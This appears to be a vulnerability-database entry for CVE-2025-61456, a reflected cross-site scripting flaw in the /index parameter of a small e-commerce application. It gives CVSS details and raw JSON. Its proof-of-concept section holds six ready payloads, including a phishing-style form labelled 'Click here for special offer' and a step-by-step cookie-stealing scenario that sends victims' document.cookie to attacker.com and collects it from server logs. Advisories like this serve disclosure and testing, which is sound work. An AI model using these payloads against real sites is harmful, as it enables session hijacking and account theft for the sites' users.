Security Vulnerability Report
中文
CVE-2025-61456 CVSS 6.1 MEDIUM

CVE-2025-61456

Published: 2025-10-20 15:15:34
Last Modified: 2026-04-15 00:35:42

Description

A Cross-Site Scripting (XSS) vulnerability exists in Bhabishya-123 E-commerce 1.0, specifically within the index endpoint. Unsanitized input in the /index parameter is directly reflected back into the response HTML, allowing attackers to execute arbitrary JavaScript in the browser of a user who visits a malicious link or submits a crafted request.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Bhabishya-123 E-commerce 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
## CVE-2025-61456 - Reflected XSS PoC ## Target: Bhabishya-123 E-commerce 1.0 ## Vulnerable Endpoint: /index ## Vulnerable Parameter: index ## PoC 1: Basic Cookie Stealing via Reflected XSS ## Attacker server to receive stolen cookies (replace with your server) http://target-site.com/index?index=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> ## PoC 2: Simple Alert Box (for verification) http://target-site.com/index?index=<script>alert('XSS')</script> ## PoC 3: Using img tag onerror event (alternative payload) http://target-site.com/index?index=<img src=x onerror=alert(document.domain)> ## PoC 4: Using svg tag with onload event http://target-site.com/index?index=<svg/onload=alert(1)> ## PoC 5: HTML form to deliver the payload to victims <html> <body> <form action="http://target-site.com/index" method="GET"> <input type="hidden" name="index" value='"><script>alert(document.cookie)</script>' /> <input type="submit" value="Click here for special offer" /> </form> </body> </html> ## PoC 6: Cookie Stealer (full attack scenario) ## Step 1: Set up a listener on attacker server ## Python listener: ## python3 -m http.server 8888 ## ## Step 2: Send victim this URL: http://target-site.com/index?index=<script>new Image().src="http://attacker.com:8888/steal?c="+document.cookie</script> ## ## Step 3: Collect stolen cookies from server logs

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61456", "sourceIdentifier": "[email protected]", "published": "2025-10-20T15:15:33.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-Site Scripting (XSS) vulnerability exists in Bhabishya-123 E-commerce 1.0, specifically within the index endpoint. Unsanitized input in the /index parameter is directly reflected back into the response HTML, allowing attackers to execute arbitrary JavaScript in the browser of a user who visits a malicious link or submits a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/tansique-17/CVE-2025-61456", "source": "[email protected]"}]}}